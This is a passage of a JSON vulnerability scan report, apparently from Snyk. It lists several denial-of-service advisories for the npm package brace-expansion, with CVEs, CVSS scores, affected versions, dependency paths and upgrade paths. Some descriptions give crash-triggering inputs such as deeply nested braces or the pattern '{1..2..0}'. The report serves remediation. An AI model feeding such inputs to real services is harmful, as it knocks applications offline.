"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
